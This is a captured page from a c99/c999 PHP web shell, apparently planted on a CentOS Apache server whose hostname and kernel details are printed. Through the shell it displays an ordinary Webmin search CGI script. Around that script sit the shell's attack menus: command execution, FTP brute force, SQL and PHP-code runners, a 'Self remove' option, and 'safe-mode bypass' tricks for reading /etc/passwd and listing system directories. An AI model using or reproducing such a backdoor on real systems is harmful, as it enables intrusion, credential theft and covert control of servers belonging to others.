!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/   drwxr-xr-x
Free 50.63 GB of 127.8 GB (39.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     webmin_search.cgi (2.38 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Search Webmin modules and help pages and text and config.info

$trust_unknown_referers = 1;
BEGIN { push(@INC, ".."); };
use WebminCore;

&init_config();
do 'webmin-search-lib.pl';
&ReadParse();

$prod = &get_product_name();
$ucprod = ucfirst($prod);
&ui_print_unbuffered_header(undef,
    $in{'title'} || &text('wsearch_title', $ucprod), "", undef, 0, 1);

# Validate search text
$re = $in{'search'};
if ($re !~ /\S/) {
    &error($text{'wsearch_esearch'});
    }
$re =~ s/^\s+//;
$re =~ s/\s+$//;

# Find modules to search
$mods = undef;
if ($in{'mod'}) {
    $mods = [ ];
    my %infos = map { $_->{'dir'}, $_ } &get_all_module_infos();
    foreach my $mn (split(/\0/, $in{'mod'})) {
        my $minfo = $infos{$mn};
        push(@$mods, $minfo) if ($minfo);
        }
    }

# Do the search
print &text('wsearch_searching', "<i>".&html_escape($re)."</i>"),"\n";
@rv = &search_webmin($re, \&print_search_dot, $mods);
print &text('wsearch_found', scalar(@rv)),"<p>\n";

# Show in table
if (@rv) {
    print &ui_columns_start(
        [ $text{'wsearch_htext'}, $text{'wsearch_htype'},
          $text{'wsearch_hmod'}, $text{'wsearch_hcgis'} ], 100);
    foreach my $r (@rv) {
        $hi = &highlight_text($r->{'text'});
        if ($r->{'link'}) {
            $hi = "<a href='$r->{'link'}'>$hi</a>";
            }
        @links = ( );
        foreach my $c (@{$r->{'cgis'}}) {
            ($cmod, $cpage) = split(/\//, $c);
            ($cpage, $cargs) = split(/\?/, $cpage);
            $ctitle = &cgi_page_title($cmod, $cpage) || $cpage;
            if ($r->{'mod'}->{'installed'}) {
                $cargs ||= &cgi_page_args($cmod, $cpage);
                }
            else {
                # For modules that aren't installed, linking
                # to a CGI is likely useless
                $cargs ||= "none";
                }
            if ($cargs eq "none") {
                push(@links, $ctitle);
                }
            else {
                $cargs = "?".$cargs if ($cargs ne '' &&
                            $cargs !~ /^(\/|%2F)/);
                push(@links,
                   "<a href='$cmod/$cpage$cargs'>$ctitle</a>");
                }
            }
        if (@links > 2) {
            @links = ( @links[0..1], "..." );
            }
        print &ui_columns_row([
            $hi,
            $text{'wsearch_type_'.$r->{'type'}},
            "<a href='$r->{'mod'}->{'dir'}/'>$r->{'mod'}->{'desc'}</a>",
            &ui_links_row(\@links),
            ]);
        }
    print &ui_columns_end();
    }
else {
    print "<b>",&text('wsearch_enone',
        "<tt>".&html_escape($re)."</tt>"),"</b><p>\n";
    }

&ui_print_footer();

# print_search_dot()
# Print one dot per second
sub print_search_dot
{
local $now = time();
if ($now > $last_print_search_dot) {
    print ". ";
    $last_print_search_dot = $now;
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--